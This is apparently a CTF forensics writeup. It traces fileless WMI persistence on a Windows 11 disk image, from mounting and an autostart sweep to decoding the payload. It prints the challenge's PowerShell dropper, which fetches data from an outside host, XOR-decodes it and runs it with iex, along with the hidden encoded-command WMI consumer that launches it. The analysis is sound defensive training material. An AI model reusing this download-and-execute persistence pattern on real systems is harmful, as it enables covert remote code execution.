>_
The Fuzz.
← /blog
CTF Writeups

DDC Regionals 2026 — Hidden Trouble 1

Hunting fileless WMI persistence on a dead-disk Windows 11 image. From ASEP-sweep through XOR'd C2 to the flag.

$ author 0xFuzz·Apr 25, 2026·12 min read
ddcdfirwmiwindowsfileless

Flag: DDC{im_r4ther_p3rs1st3nt_ab0ut_g3tt1ng_my_w4y}

Brief: "Pleeeease help! I think I got malware on my PC." Handout: disk.E01, nothing else. No IOC, no timeframe.

disk.E01   FTK Imager E01, 17.6 GB, Windows 11 build 26100, user Oliver
MD5        1c1f29e8717853328722b8f977cdf318
SHA1       5bdf629522150a4c7b3a1716de05b789428dc68f

1. Mount

Raw dead-disk on Linux. Read-only the whole way.

mount.sh
ewfinfo disk.E01
sudo ewfmount disk.E01 /mnt/ewf            # libewf → raw
sudo fsstat -o 0 /mnt/ewf/ewf1             # NTFS, no partition table
sudo mount -o ro,loop,show_sys_files,streams_interface=windows,\
uid=$(id -u),gid=$(id -g),umask=022 /mnt/ewf/ewf1 /mnt/disk

uid=/gid= so the GUI file manager can browse the mount. show_sys_files exposes $MFT, $LogFile, NTFS alternate data streams.

Starting baseline: one user (Oliver), Desktop and Downloads mostly empty. That points to system-level or fileless persistence rather than something dropped in the user profile.

2. ASEP-sweep

ASEP = Auto-Start Extensibility Point — every place in Windows where code can be auto-started. Sysinternals Autoruns is the GUI tool for this; on a dead-box from Linux it becomes manual or via Velociraptor.

BucketCheckResult
Startup foldersUsers\Oliver\...\Startup, ProgramData\...\Startupempty
Scheduled TasksWindows\System32\Tasks\OneDrive, Edge Update, SoftLanding
Registry Run/RunOncevia python-registry on SOFTWARE/NTUSER.DATonly OneDrive/Edge/routine
ServicesSystem.evtx EventID 7045 (21 hits)all OS-legit

Red herring: SoftLanding\...\SoftLandingCreativeManagementTask looked suspect — WNF trigger plus a bare COM handler with no command line. CLSID {F576B2F9-7850-4226-ADB0-E5993FED4F02} resolved to Microsoft's Content Delivery Manager, though. Legitimate Windows component.

3. Event logs — integrity check

Before spending more time, rule out the simple explanation: are the logs cleared?

Canonical tells:

  • Security / EventID 1102 — "The audit log was cleared"
  • System / EventID 104 — "The X log was cleared"

Both are written by the Event Log service itself when wevtutil cl / Clear-EventLog / MMC is used, and they're hard to suppress without deeper tampering.

evtx-clear-check.py
from evtx import PyEvtxParser
import re, glob
for f in glob.glob('/mnt/disk/Windows/System32/winevt/Logs/*.evtx'):
    for r in PyEvtxParser(f).records():
        if re.search(r'<EventID[^>]*>(104|1102)</EventID>', r['data']):
            print(f)

Result: no 1102, no 104. No evidence of log-clearing.

Side observation: PowerShell/Operational contains only 30 records and zero 4104 script-block events. That's not suspicious in itself — ScriptBlockLogging is off by default in Windows and has to be actively enabled via group policy. Checking HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging in the SOFTWARE hive confirmed it: the key doesn't exist, so script-block logging was never enabled. No tampering — just default config.

The Defender Operational log was also checked: 171× 5007 (config), 2× 2000, 2× 2010, 1× 2002. No 1116/1117/1015 — Defender found nothing. Makes sense for fileless WMI persistence.

4. WMI event subscriptions

With Startup / Tasks / Services / Run-keys clean and the user profile empty, fileless WMI persistence is the next obvious bucket. The permanent WMI subscription triad lives in the CIM repository:

C:\Windows\System32\wbem\Repository\
    OBJECTS.DATA      ← binary DB, string properties in cleartext
    INDEX.BTR
    MAPPING{1,2,3}.MAP

Three objects per subscription:

  • __EventFilter — WQL trigger
  • __EventConsumer — action (CommandLineEventConsumer = spawn process, ActiveScriptEventConsumer = inline VBS/JScript)
  • __FilterToConsumerBinding — glue

Tooling options:

ToolWorks offline?Note
Sysinternals Autoruns (WMI tab)Yes via "Analyze Offline System"Requires a Windows host pointing at the mounted image
PyWMIPersistenceFinder.pyYesDirect parsing of OBJECTS.DATA, originally py2
python-cim (FireEye/Mandiant)YesProgrammatic CIM parsing
Velociraptor (Windows.Persistence.PermanentWMIEvents)NoUses the live wmi() plugin, disabled in dead-disk remap
Velociraptor (YARA over OBJECTS.DATA)YesWorks but without parsing — same as strings
strings + grepYesQuick and dirty, always available
Autopsy 4 Keyword SearchYesFinds the strings but doesn't parse the structure

I went with strings-grep because it's zero ceremony:

wmi-strings-hunt.sh
sudo cp -r /mnt/disk/Windows/System32/wbem/Repository /tmp/wmi_repo
strings -a /tmp/wmi_repo/OBJECTS.DATA | \
  grep -iE '__EventFilter|ActiveScriptEvent|CommandLineEvent|powershell|EncodedCommand'

Hits:

  • __EventFilter named Powershellv3 — camouflaged as Microsoft's real ROOT\Microsoft\Windows\PowerShellv3 namespace.

  • CommandLineEventConsumer with template:

    powershell.exe -WindowStyle Hidden -EncodedCommand JABkAGEAdAAg...
    

    Classic IOC combo: hidden window, base64, started by WMI instead of a user-visible parent.

5. Decoding payload

Stage 1 — EncodedCommand

-EncodedCommand is UTF-16LE base64.

decode-encoded-command.py
import base64
blob = "JABkAGEAdAAg..."
print(base64.b64decode(blob).decode("utf-16-le"))
dropper.ps1
$dat = [System.Convert]::FromBase64String(
    (iwr -UseBasicParsing https://update-server-d1e2f.oluf-sand.workers.dev/))
$k = @(0x54, 0x42, 0x9a, 0x71, 0x84, 0xe2, 0x6b)
for($i=0; $i -lt $dat.count; $i++) {
    $dat[$i] = $dat[$i] -bxor $k[$i % $k.count]
}
$res = [System.Text.Encoding]::Unicode.GetString($dat)
iex $res

The dropper: fetch C2 URL → base64-decode → XOR with 7-byte key 54 42 9a 71 84 e2 6b → UTF-16LE → iex.

Stage 2 — fetch C2

fetch-stage2.sh
curl -s https://update-server-d1e2f.oluf-sand.workers.dev/ -o /tmp/stage2.b64

Replay the same transform:

xor-decode.py
import base64
data = base64.b64decode(open('/tmp/stage2.b64','rb').read())
k = [0x54,0x42,0x9a,0x71,0x84,0xe2,0x6b]
print(bytes(b ^ k[i%len(k)] for i,b in enumerate(data)).decode('utf-16-le'))
echo "DDC{im_r4ther_p3rs1st3nt_ab0ut_g3tt1ng_my_w4y}"

CyberChef alternative

Same stage 2 in CyberChef:

  1. From Base64
  2. XOR — key 54 42 9a 71 84 e2 6b, format Hex
  3. Decode text — UTF-16LE (1200)

Open the recipe in CyberChef → — clicking loads all three steps pre-configured.

Hindsight — what I'd do differently next time

Strings-grep worked, but it's unprincipled — I got lucky that the implant had recognizable strings (__EventFilter, EncodedCommand) sitting in cleartext in OBJECTS.DATA. A more obfuscated subscription would survive that approach. Two cleaner routes I'd reach for first:

Convert the E01 to VMDK and boot it. The handout was an FTK Imager image — qemu-img convert -f raw -O vmdk (after ewfmount), or Passmark's Live View, turns it into something you can attach to a VM. Boot read-only, run Autoruns natively, query WMI with Get-WmiObject -Namespace root\subscription -Class __EventFilter, and the Powershellv3 filter shows up in seconds. Highest fidelity, but ~10–15 min of conversion + boot overhead and a Windows host requirement.

Autoruns in offline mode. If a VMDK boot is too much (or the host won't run a Windows VM), Autoruns has File → Analyze Offline System... that takes a System Root and a User Profile path. Point it at <mount>\Windows and <mount>\Users\Oliver, and it walks every ASEP — including the WMI tab with proper CIM parsing — without booting anything. Same parser quality as live, lower ceremony than the VMDK route.

I skipped both for time. Strings-grep had results in under a minute, where converting and booting the image would have eaten 10+ min on a CTF clock. Right call for the competition; for a real engagement the VMDK or offline-Autoruns route is what I'd reach for first.

IOCs

TypeValue
PersistenceWMI permanent event subscription (CommandLineEventConsumer + __EventFilter + __FilterToConsumerBinding)
Filter namePowershellv3
Consumerpowershell.exe -WindowStyle Hidden -EncodedCommand …
C2 URLhttps://update-server-d1e2f.oluf-sand.workers.dev/
XOR key54 42 9a 71 84 e2 6b
HostDESKTOP-INU7AD3 / user Oliver / SID S-1-5-21-3472665775-195656897-1608854109-1001

Red herrings

  • SoftLanding\...\SoftLandingCreativeManagementTask — legitimate Microsoft Content Delivery Manager.
  • Windows.old\ — in-place upgrade artifact.
  • The small PowerShell Operational log — default state, not tampering.

TL;DR

1. ewfmount + mount -ro  →  NTFS offline
2. ASEP-sweep (Startup/Tasks/Services/Run) → clean, SoftLanding = red herring
3. Event log clearing check (1102/104) → no tampering
4. strings+grep OBJECTS.DATA → __EventFilter "Powershellv3" + CommandLineEventConsumer
5. Decode EncodedCommand (UTF-16LE base64) → dropper with C2 + XOR key
6. curl C2, XOR with 54 42 9a 71 84 e2 6b → flag
$ echo "thanks for reading" | tee /dev/null
$ next post

More in CTF Writeups